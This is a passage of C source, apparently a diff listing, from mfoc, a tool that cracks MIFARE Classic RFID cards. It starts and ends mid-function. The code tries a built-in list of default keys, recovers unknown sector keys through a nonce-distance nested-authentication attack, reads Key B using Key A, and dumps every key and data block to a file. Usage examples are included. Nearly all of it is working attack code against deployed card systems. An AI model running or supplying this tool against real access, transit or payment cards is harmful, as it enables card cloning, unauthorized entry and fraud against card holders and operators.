nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+3; -- nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+3); -- nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+4; -- nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+4); -- nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+5; -- nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+5); -- nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+6; -- nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+6); -- nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+7; -- nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+7); -- } -- // either nt1 or nt2 are invalid nonces -- return(-99999); --} -- -- --int main(int argc, char *const argv[]) --{ -- const nfc_modulation nm = { -- .nmt = NMT_ISO14443A, -- .nbr = NBR_106, -- }; -- -- int ch, i, k, n, j, m; -- int key, block; -- int succeed = 1; -- -- // Exploit sector -- int e_sector; -- int probes = DEFAULT_PROBES_NR; -- int sets = DEFAULT_SETS_NR; -- -- // By default, dump 'A' keys -- int dumpKeysA = true; -- bool failure = false; -- bool skip = false; -- -- // Next default key specified as option (-k) -- uint8_t *defKeys = NULL, *p; -- size_t defKeys_len = 0; -- -- // Array with default Mifare Classic keys -- uint8_t defaultKeys[][6] = { -- {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // Default key (first key used by program if no user defined key) -- {0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5}, // NFCForum MAD key -- {0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}, // NFCForum content key -- {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, // Blank key -- {0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5}, -- {0x4d, 0x3a, 0x99, 0xc3, 0x51, 0xdd}, -- {0x1a, 0x98, 0x2c, 0x7e, 0x45, 0x9a}, -- {0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff}, -- {0x71, 0x4c, 0x5c, 0x88, 0x6e, 0x97}, -- {0x58, 0x7e, 0xe5, 0xf9, 0x35, 0x0f}, -- {0xa0, 0x47, 0x8c, 0xc3, 0x90, 0x91}, -- {0x53, 0x3c, 0xb6, 0xc7, 0x23, 0xf6}, -- {0x8f, 0xd0, 0xa4, 0xf2, 0x56, 0xe9} -- -- }; -- -- mftag t; -- mfreader r; -- denonce d = {NULL, 0, DEFAULT_DIST_NR, DEFAULT_TOLERANCE, {0x00, 0x00, 0x00}}; -- -- // Pointers to possible keys -- pKeys *pk; -- countKeys *ck; -- -- // Pointer to already broken keys, except defaults -- bKeys *bk; -- -- static mifare_param mp, mtmp; -- static mifare_classic_tag mtDump; -- -- mifare_cmd mc; -- FILE *pfDump = NULL; -- -- //File pointers for the keyfile -- FILE * fp; -- char * line = NULL; -- size_t len = 0; -- ssize_t read; -- -- //Regexp declarations -- static const char *regex = "([0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f])"; -- struct slre_cap caps[2]; -- -- // Parse command line arguments -- while ((ch = getopt(argc, argv, "hD:s:BP:T:S:O:k:t:f:")) != -1) { -- switch (ch) { -- case 'P': -- // Number of probes -- if (!(probes = atoi(optarg)) || probes < 1) { -- ERR("The number of probes must be a positive number"); -- exit(EXIT_FAILURE); -- } -- // fprintf(stdout, "Number of probes: %d\n", probes); -- break; -- case 'T': { -- int res; -- // Nonce tolerance range -- if (((res = atoi(optarg)) < 0)) { -- ERR("The nonce distances range must be a zero or a positive number"); -- exit(EXIT_FAILURE); -- } -- d.tolerance = (uint32_t)res; -- // fprintf(stdout, "Tolerance number: %d\n", probes); -- } -- break; -- case 'f': -- if (!(fp = fopen(optarg, "r"))) { -- fprintf(stderr, "Cannot open keyfile: %s, exiting\n", optarg); -- exit(EXIT_FAILURE); -- } -- while ((read = getline(&line, &len, fp)) != -1) { -- int i, j = 0, str_len = strlen(line); -- -- while (j < str_len && -- (i = slre_match(regex, line + j, str_len - j, caps, 500, 1)) > 0) { -- //We've found a key, let's add it to the structure. -- p = realloc(defKeys, defKeys_len + 6); -- if (!p) { -- ERR("Cannot allocate memory for defKeys"); -- exit(EXIT_FAILURE); -- } -- defKeys = p; -- memset(defKeys + defKeys_len, 0, 6); -- num_to_bytes(strtoll(caps[0].ptr, NULL, 16), 6, defKeys + defKeys_len); -- fprintf(stdout, "The custom key 0x%.*s has been added to the default keys\n", caps[0].len, caps[0].ptr); -- defKeys_len = defKeys_len + 6; -- -- j += i; -- } -- } -- if (line) -- free(line); -- break; -- case 'k': -- // Add this key to the default keys -- p = realloc(defKeys, defKeys_len + 6); -- if (!p) { -- ERR("Cannot allocate memory for defKeys"); -- exit(EXIT_FAILURE); -- } -- defKeys = p; -- memset(defKeys + defKeys_len, 0, 6); -- num_to_bytes(strtoll(optarg, NULL, 16), 6, defKeys + defKeys_len); -- fprintf(stdout, "The custom key 0x%012llx has been added to the default keys\n", bytes_to_num(defKeys + defKeys_len, 6)); -- defKeys_len = defKeys_len + 6; -- -- break; -- case 'O': -- // File output -- if (!(pfDump = fopen(optarg, "wb"))) { -- fprintf(stderr, "Cannot open: %s, exiting\n", optarg); -- exit(EXIT_FAILURE); -- } -- // fprintf(stdout, "Output file: %s\n", optarg); -- break; -- case 'h': -- usage(stdout, 0); -- break; -- default: -- usage(stderr, 1); -- break; -- } -- } -- -- if (!pfDump) { -- ERR("parameter -O is mandatory"); -- exit(EXIT_FAILURE); -- } -- -- // Initialize reader/tag structures -- mf_init(&r); -- -- if (nfc_initiator_init(r.pdi) < 0) { -- nfc_perror(r.pdi, "nfc_initiator_init"); -- goto error; -- } -- // Drop the field for a while, so can be reset -- if (nfc_device_set_property_bool(r.pdi, NP_ACTIVATE_FIELD, true) < 0) { -- nfc_perror(r.pdi, "nfc_device_set_property_bool activate field"); -- goto error; -- } -- // Let the reader only try once to find a tag -- if (nfc_device_set_property_bool(r.pdi, NP_INFINITE_SELECT, false) < 0) { -- nfc_perror(r.pdi, "nfc_device_set_property_bool infinite select"); -- goto error; -- } -- // Configure the CRC and Parity settings -- if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true) < 0) { -- nfc_perror(r.pdi, "nfc_device_set_property_bool crc"); -- goto error; -- } -- if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true) < 0) { -- nfc_perror(r.pdi, "nfc_device_set_property_bool parity"); -- goto error; -- } -- -- /* -- // wait for tag to appear -- for (i=0;!nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) && i < 10; i++) zsleep (100); -- */ -- -- int tag_count; -- if ((tag_count = nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt)) < 0) { -- nfc_perror(r.pdi, "nfc_initiator_select_passive_target"); -- goto error; -- } else if (tag_count == 0) { -- ERR("No tag found."); -- goto error; -- } -- -- // Test if a compatible MIFARE tag is used -- if ((t.nt.nti.nai.btSak & 0x08) == 0) { -- ERR("only Mifare Classic is supported"); -- goto error; -- } -- -- t.authuid = (uint32_t) bytes_to_num(t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, 4); -- -- // Get Mifare Classic type from SAK -- // see http://www.nxp.com/documents/application_note/AN10833.pdf Section 3.2 -- switch (t.nt.nti.nai.btSak) -- { -- case 0x08: -- case 0x88: -- printf("Found Mifare Classic 1k tag\n"); -- t.num_sectors = NR_TRAILERS_1k; -- t.num_blocks = NR_BLOCKS_1k; -- break; -- case 0x09: -- printf("Found Mifare Classic Mini tag\n"); -- t.num_sectors = NR_TRAILERS_MINI; -- t.num_blocks = NR_BLOCKS_MINI; -- break; -- case 0x18: -- printf("Found Mifare Classic 4k tag\n"); -- t.num_sectors = NR_TRAILERS_4k; -- t.num_blocks = NR_BLOCKS_4k; -- break; -- default: -- ERR("Cannot determine card type from SAK"); -- goto error; -- } -- -- t.sectors = (void *) calloc(t.num_sectors, sizeof(sector)); -- if (t.sectors == NULL) { -- ERR("Cannot allocate memory for t.sectors"); -- goto error; -- } -- if ((pk = (void *) malloc(sizeof(pKeys))) == NULL) { -- ERR("Cannot allocate memory for pk"); -- goto error; -- } -- if ((bk = (void *) malloc(sizeof(bKeys))) == NULL) { -- ERR("Cannot allocate memory for bk"); -- goto error; -- } else { -- bk->brokenKeys = NULL; -- bk->size = 0; -- } -- -- d.distances = (void *) calloc(d.num_distances, sizeof(uint32_t)); -- if (d.distances == NULL) { -- ERR("Cannot allocate memory for t.distances"); -- goto error; -- } -- -- // Initialize t.sectors, keys are not known yet -- for (uint8_t s = 0; s < (t.num_sectors); ++s) { -- t.sectors[s].foundKeyA = t.sectors[s].foundKeyB = false; -- } -- -- print_nfc_target(&t.nt, true); -- -- fprintf(stdout, "\nTry to authenticate to all sectors with default keys...\n"); -- fprintf(stdout, "Symbols: '.' no key found, '/' A key found, '\\' B key found, 'x' both keys found\n"); -- // Set the authentication information (uid) -- memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid)); -- // Iterate over all keys (n = number of keys) -- n = sizeof(defaultKeys) / sizeof(defaultKeys[0]); -- size_t defKey_bytes_todo = defKeys_len; -- key = 0; -- while (key < n || defKey_bytes_todo) { -- if (defKey_bytes_todo > 0) { -- memcpy(mp.mpa.abtKey, defKeys + defKeys_len - defKey_bytes_todo, sizeof(mp.mpa.abtKey)); -- defKey_bytes_todo -= sizeof(mp.mpa.abtKey); -- } else { -- memcpy(mp.mpa.abtKey, defaultKeys[key], sizeof(mp.mpa.abtKey)); -- key++; -- } -- fprintf(stdout, "[Key: %012llx] -> ", bytes_to_num(mp.mpa.abtKey, 6)); -- fprintf(stdout, "["); -- i = 0; // Sector counter -- // Iterate over every block, where we haven't found a key yet -- for (block = 0; block <= t.num_blocks; ++block) { -- if (trailer_block(block)) { -- if (!t.sectors[i].foundKeyA) { -- mc = MC_AUTH_A; -- int res; -- if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, block, &mp)) < 0) { -- if (res != NFC_EMFCAUTHFAIL) { -- nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); -- goto error; -- } -- mf_anticollision(t, r); -- } else { -- // Save all information about successfull keyA authentization -- memcpy(t.sectors[i].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); -- t.sectors[i].foundKeyA = true; -- // Although KeyA can never be directly read from the data sector, KeyB can, so -- // if we need KeyB for this sector, it should be revealed by a data read with KeyA -- // todo - check for duplicates in cracked key list (do we care? will not be huge overhead) -- // todo - make code more modular! :) -- if (!t.sectors[i].foundKeyB) { -- if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mtmp)) >= 0) { -- // print only for debugging as it messes up output! -- //fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey))); -- memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)); -- memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid)); -- if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, block, &mtmp)) < 0) { -- //fprintf(stdout, "Failed!\n"); -- mf_configure(r.pdi); -- mf_anticollision(t, r); -- } else { -- //fprintf(stdout, "OK\n"); -- memcpy(t.sectors[i].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[i].KeyB)); -- t.sectors[i].foundKeyB = true; -- bk->size++; -- bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t)); -- bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey)); -- } -- } else { -- if (res != NFC_ERFTRANS) { -- nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); -- goto error; -- } -- mf_anticollision(t, r); -- } -- } -- } -- } -- // if key reveal failed, try other keys -- if (!t.sectors[i].foundKeyB) { -- mc = MC_AUTH_B; -- int res; -- if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, block, &mp)) < 0) { -- if (res != NFC_EMFCAUTHFAIL) { -- nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); -- goto error; -- } -- mf_anticollision(t, r); -- // No success, try next block -- t.sectors[i].trailer = block; -- } else { -- memcpy(t.sectors[i].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); -- t.sectors[i].foundKeyB = true; -- } -- } -- if ((t.sectors[i].foundKeyA) && (t.sectors[i].foundKeyB)) { -- fprintf(stdout, "x"); -- } else if (t.sectors[i].foundKeyA) { -- fprintf(stdout, "/"); -- } else if (t.sectors[i].foundKeyB) { -- fprintf(stdout, "\\"); -- } else { -- fprintf(stdout, "."); -- } -- fflush(stdout); -- // Save position of a trailer block to sector struct -- t.sectors[i++].trailer = block; -- } -- } -- fprintf(stdout, "]\n"); -- } -- -- fprintf(stdout, "\n"); -- for (i = 0; i < (t.num_sectors); ++i) { -- if(t.sectors[i].foundKeyA){ -- fprintf(stdout, "Sector %02d - Found Key A: %012llx ", i, bytes_to_num(t.sectors[i].KeyA, sizeof(t.sectors[i].KeyA))); -- memcpy(&knownKey, t.sectors[i].KeyA, 6); -- knownKeyLetter = 'A'; -- knownSector = i; -- } -- else{ -- fprintf(stdout, "Sector %02d - Unknown Key A ", i); -- unknownSector = i; -- unknownKeyLetter = 'A'; -- } -- if(t.sectors[i].foundKeyB){ -- fprintf(stdout, "Found Key B: %012llx\n", bytes_to_num(t.sectors[i].KeyB, sizeof(t.sectors[i].KeyB))); -- knownKeyLetter = 'B'; -- memcpy(&knownKey, t.sectors[i].KeyB, 6); -- knownSector = i; -- } -- else{ -- fprintf(stdout, "Unknown Key B\n"); -- unknownSector = i; -- unknownKeyLetter = 'B'; -- } -- } -- fflush(stdout); -- -- // Return the first (exploit) sector encrypted with the default key or -1 (we have all keys) -- e_sector = find_exploit_sector(t); -- //mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd'); // AUTH + Get Distances mode -- -- // Recover key from encrypted sectors, j is a sector counter -- for (m = 0; m < 2; ++m) { -- if (e_sector == -1) break; // All keys are default, I am skipping recovery mode -- for (j = 0; j < (t.num_sectors); ++j) { -- memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid)); -- if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) { -- -- // First, try already broken keys -- skip = false; -- for (uint32_t o = 0; o < bk->size; o++) { -- num_to_bytes(bk->brokenKeys[o], 6, mp.mpa.abtKey); -- mc = dumpKeysA ? MC_AUTH_A : MC_AUTH_B; -- int res; -- if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, t.sectors[j].trailer, &mp)) < 0) { -- if (res != NFC_EMFCAUTHFAIL) { -- nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); -- goto error; -- } -- mf_anticollision(t, r); -- } else { -- // Save all information about successfull authentization -- printf("Sector: %d, type %c\n", j, (dumpKeysA ? 'A' : 'B')); -- if (dumpKeysA) { -- memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); -- t.sectors[j].foundKeyA = true; -- // if we need KeyB for this sector it should be revealed by a data read with KeyA -- if (!t.sectors[j].foundKeyB) { -- if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, t.sectors[j].trailer, &mtmp)) >= 0) { -- fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey))); -- memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)); -- memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid)); -- if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, t.sectors[j].trailer, &mtmp)) < 0) { -- fprintf(stdout, "Failed!\n"); -- mf_configure(r.pdi); -- mf_anticollision(t, r); -- } else { -- fprintf(stdout, "OK\n"); -- memcpy(t.sectors[j].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[j].KeyB)); -- t.sectors[j].foundKeyB = true; -- bk->size++; -- bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t)); -- bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey)); -- } -- } else { -- if (res != NFC_ERFTRANS) { -- nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); -- goto error; -- } -- mf_anticollision(t, r); -- } -- } -- } else { -- memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); -- t.sectors[j].foundKeyB = true; -- } -- fprintf(stdout, " Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'), -- bytes_to_num(mp.mpa.abtKey, 6)); -- mf_configure(r.pdi); -- mf_anticollision(t, r); -- skip = true; -- break; -- } -- } -- if (skip) continue; // We have already revealed key, go to the next iteration -- -- // Max probes for auth for each sector -- for (k = 0; k < probes; ++k) { -- // Try to authenticate to exploit sector and determine distances (filling denonce.distances) -- int authRezult = mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA); // AUTH + Get Distances mode -- if(authRezult == -99999){ -- //for now we return the last sector that is unknown -- nfc_close(r.pdi); -- nfc_exit(context); -- FILE *fpKey; -- fpKey = fopen("/tmp/unknownMfocSectorInfo_123456asdfqwer.txt", "w"); -- fprintf(fpKey, "%012llx;%d;%c;%d;%c", knownKey, knownSector, knownKeyLetter, unknownSector, unknownKeyLetter); -- fclose(fpKey); -- -- return 9; -- } -- -- printf("Sector: %d, type %c, probe %d, distance %d ", j, (dumpKeysA ? 'A' : 'B'), k, d.median); -- // Configure device to the previous state -- mf_configure(r.pdi); -- mf_anticollision(t, r); -- -- pk->possibleKeys = NULL; -- pk->size = 0; -- // We have 'sets' * 32b keystream of potential keys -- for (n = 0; n < sets; n++) { -- // AUTH + Recovery key mode (for a_sector), repeat 5 times -- mf_enhanced_auth(e_sector, t.sectors[j].trailer, t, r, &d, pk, 'r', dumpKeysA); -- mf_configure(r.pdi); -- mf_anticollision(t, r); -- fprintf(stdout, "."); -- fflush(stdout); -- } -- fprintf(stdout, "\n"); -- // Get first 15 grouped keys -- ck = uniqsort(pk->possibleKeys, pk->size); -- for (i = 0; i < TRY_KEYS ; i++) { -- // We don't known this key, try to break it -- // This key can be found here two or more times -- if (ck[i].count > 0) { -- // fprintf(stdout,"%d %llx\n",ck[i].count, ck[i].key); -- // Set required authetication method -- num_to_bytes(ck[i].key, 6, mp.mpa.abtKey); -- mc = dumpKeysA ? MC_AUTH_A : MC_AUTH_B; -- int res; -- if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, t.sectors[j].trailer, &mp)) < 0) { -- if (res != NFC_EMFCAUTHFAIL) { -- nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); -- goto error; -- } -- mf_anticollision(t, r); -- } else { -- // Save all information about successfull authentization -- bk->size++; -- bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t)); -- bk->brokenKeys[bk->size - 1] = bytes_to_num(mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); -- if (dumpKeysA) { -- memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); -- t.sectors[j].foundKeyA = true; -- -- } else { -- memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); -- t.sectors[j].foundKeyB = true; -- } -- fprintf(stdout, " Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'), -- bytes_to_num(mp.mpa.abtKey, 6)); -- // if we need KeyB for this sector, it should be revealed by a data read with KeyA -- if (!t.sectors[j].foundKeyB) { -- if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, t.sectors[j].trailer, &mtmp)) >= 0) { -- fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey))); -- memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)); -- memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid)); -- if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, t.sectors[j].trailer, &mtmp)) < 0) { -- fprintf(stdout, "Failed!\n"); -- mf_configure(r.pdi); -- mf_anticollision(t, r); -- } else { -- fprintf(stdout, "OK\n"); -- memcpy(t.sectors[j].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[j].KeyB)); -- t.sectors[j].foundKeyB = true; -- bk->size++; -- bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t)); -- bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey)); -- } -- } else { -- if (res != NFC_ERFTRANS) { -- nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); -- goto error; -- } -- mf_anticollision(t, r); -- } -- } -- mf_configure(r.pdi); -- mf_anticollision(t, r); -- break; -- } -- } -- } -- free(pk->possibleKeys); -- free(ck); -- // Success, try the next sector -- if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break; -- } -- // We haven't found any key, exiting -- if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) { -- ERR("No success, maybe you should increase the probes"); -- goto error; -- } -- } -- } -- dumpKeysA = false; -- } -- -- -- for (i = 0; i < (t.num_sectors); ++i) { -- if ((dumpKeysA && !t.sectors[i].foundKeyA) || (!dumpKeysA && !t.sectors[i].foundKeyB)) { -- fprintf(stdout, "\nTry again, there are still some encrypted blocks\n"); -- succeed = 0; -- break; -- } -- } -- -- if (succeed) { -- i = t.num_sectors; // Sector counter -- fprintf(stdout, "Auth with all sectors succeeded, dumping keys to a file!\n"); -- // Read all blocks -- for (block = t.num_blocks; block >= 0; block--) { -- trailer_block(block) ? i-- : i; -- failure = true; -- -- // Try A key, auth() + read() -- memcpy(mp.mpa.abtKey, t.sectors[i].KeyA, sizeof(t.sectors[i].KeyA)); -- int res; -- if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_A, block, &mp)) < 0) { -- if (res != NFC_EMFCAUTHFAIL) { -- nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); -- goto error; -- } -- mf_configure(r.pdi); -- mf_anticollision(t, r); -- } else { // and Read -- if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) >= 0) { -- fprintf(stdout, "Block %02d, type %c, key %012llx :", block, 'A', bytes_to_num(t.sectors[i].KeyA, 6)); -- print_hex(mp.mpd.abtData, 16); -- mf_configure(r.pdi); -- mf_select_tag(r.pdi, &(t.nt)); -- failure = false; -- } else { -- // Error, now try read() with B key -- if (res != NFC_ERFTRANS) { -- nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); -- goto error; -- } -- mf_configure(r.pdi); -- mf_anticollision(t, r); -- memcpy(mp.mpa.abtKey, t.sectors[i].KeyB, sizeof(t.sectors[i].KeyB)); -- if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, block, &mp)) < 0) { -- if (res != NFC_EMFCAUTHFAIL) { -- nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); -- goto error; -- } -- mf_configure(r.pdi); -- mf_anticollision(t, r); -- } else { // and Read -- if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) >= 0) { -- fprintf(stdout, "Block %02d, type %c, key %012llx :", block, 'B', bytes_to_num(t.sectors[i].KeyB, 6)); -- print_hex(mp.mpd.abtData, 16); -- mf_configure(r.pdi); -- mf_select_tag(r.pdi, &(t.nt)); -- failure = false; -- } else { -- if (res != NFC_ERFTRANS) { -- nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); -- goto error; -- } -- mf_configure(r.pdi); -- mf_anticollision(t, r); -- // ERR ("Error: Read B"); -- } -- } -- } -- } -- if (trailer_block(block)) { -- // Copy the keys over from our key dump and store the retrieved access bits -- memcpy(mtDump.amb[block].mbt.abtKeyA, t.sectors[i].KeyA, 6); -- memcpy(mtDump.amb[block].mbt.abtKeyB, t.sectors[i].KeyB, 6); -- if (!failure) memcpy(mtDump.amb[block].mbt.abtAccessBits, mp.mpd.abtData + 6, 4); -- } else if (!failure) memcpy(mtDump.amb[block].mbd.abtData, mp.mpd.abtData, 16); -- memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid)); -- } -- -- // Finally save all keys + data to file -- uint16_t dump_size = (t.num_blocks + 1) * t.num_sectors; -- if (fwrite(&mtDump, 1, dump_size, pfDump) != dump_size) { -- fprintf(stdout, "Error, cannot write dump\n"); -- fclose(pfDump); -- goto error; -- } -- fclose(pfDump); -- } -- -- free(t.sectors); -- free(d.distances); -- -- // Reset the "advanced" configuration to normal -- nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true); -- nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true); -- -- // Disconnect device and exit -- nfc_close(r.pdi); -- nfc_exit(context); -- exit(EXIT_SUCCESS); --error: -- nfc_close(r.pdi); -- nfc_exit(context); -- exit(EXIT_FAILURE); --} -- --void usage(FILE *stream, int errno) --{ -- fprintf(stream, "Usage: mfoc [-h] [-k key] [-f file] ... [-P probnum] [-T tolerance] [-O output]\n"); -- fprintf(stream, "\n"); -- fprintf(stream, " h print this help and exit\n"); --// fprintf(stream, " B instead of 'A' dump 'B' keys\n"); -- fprintf(stream, " k try the specified key in addition to the default keys\n"); -- fprintf(stream, " f parses a file of keys to add in addition to the default keys \n"); --// fprintf(stream, " D number of distance probes, default is 20\n"); --// fprintf(stream, " S number of sets with keystreams, default is 5\n"); -- fprintf(stream, " P number of probes per sector, instead of default of 20\n"); -- fprintf(stream, " T nonce tolerance half-range, instead of default of 20\n (i.e., 40 for the total range, in both directions)\n"); --// fprintf(stream, " s specify the list of sectors to crack, for example -s 0,1,3,5\n"); -- fprintf(stream, " O file in which the card contents will be written (REQUIRED)\n"); -- fprintf(stream, "\n"); -- fprintf(stream, "Example: mfoc -O mycard.mfd\n"); -- fprintf(stream, "Example: mfoc -k ffffeeeedddd -O mycard.mfd\n"); -- fprintf(stream, "Example: mfoc -f keys.txt -O mycard.mfd\n"); -- fprintf(stream, "Example: mfoc -P 50 -T 30 -O mycard.mfd\n"); -- fprintf(stream, "\n"); -- fprintf(stream, "This is mfoc version %s.\n", PACKAGE_VERSION); -- fprintf(stream, "For more information, run: 'man mfoc'.\n"); -- exit(errno); --} -- --void mf_init(mfreader *r) --{ -- // Connect to the first NFC device -- nfc_init(&context); -- if (context == NULL) { -- ERR("Unable to init libnfc (malloc)"); -- exit(EXIT_FAILURE); -- } -- r->pdi = nfc_open(context, NULL); -- if (!r->pdi) { -- printf("No NFC device found.\n"); -- exit(EXIT_FAILURE); -- } --} -- --void mf_configure(nfc_device *pdi) --{ -- if (nfc_initiator_init(pdi) < 0) { -- nfc_perror(pdi, "nfc_initiator_init"); -- exit(EXIT_FAILURE); -- } -- // Drop the field for a while, so can be reset -- if (nfc_device_set_property_bool(pdi, NP_ACTIVATE_FIELD, false) < 0) { -- nfc_perror(pdi, "nfc_device_set_property_bool activate field"); -- exit(EXIT_FAILURE); -- } -- // Let the reader only try once to find a tag -- if (nfc_device_set_property_bool(pdi, NP_INFINITE_SELECT, false) < 0) { -- nfc_perror(pdi, "nfc_device_set_property_bool infinite select"); -- exit(EXIT_FAILURE); -- } -- // Configure the CRC and Parity settings -- if (nfc_device_set_property_bool(pdi, NP_HANDLE_CRC, true) < 0) { -- nfc_perror(pdi, "nfc_device_set_property_bool crc"); -- exit(EXIT_FAILURE); -- } -- if (nfc_device_set_property_bool(pdi, NP_HANDLE_PARITY, true) < 0) { -- nfc_perror(pdi, "nfc_device_set_property_bool parity"); -- exit(EXIT_FAILURE); -- } -- // Enable the field so more power consuming cards can power themselves up -- if (nfc_device_set_property_bool(pdi, NP_ACTIVATE_FIELD, true) < 0) { -- nfc_perror(pdi, "nfc_device_set_property_bool activate field"); -- exit(EXIT_FAILURE); -- } --} -- --void mf_select_tag(nfc_device *pdi, nfc_target *pnt) --{ -- // Poll for a ISO14443A (MIFARE) tag -- const nfc_modulation nm = { -- .nmt = NMT_ISO14443A, -- .nbr = NBR_106, -- }; -- if (nfc_initiator_select_passive_target(pdi, nm, NULL, 0, pnt) < 0) { -- ERR("Unable to connect to the MIFARE Classic tag"); -- nfc_close(pdi); -- nfc_exit(context); -- exit(EXIT_FAILURE); -- } --} -- --int trailer_block(uint32_t block) --{ 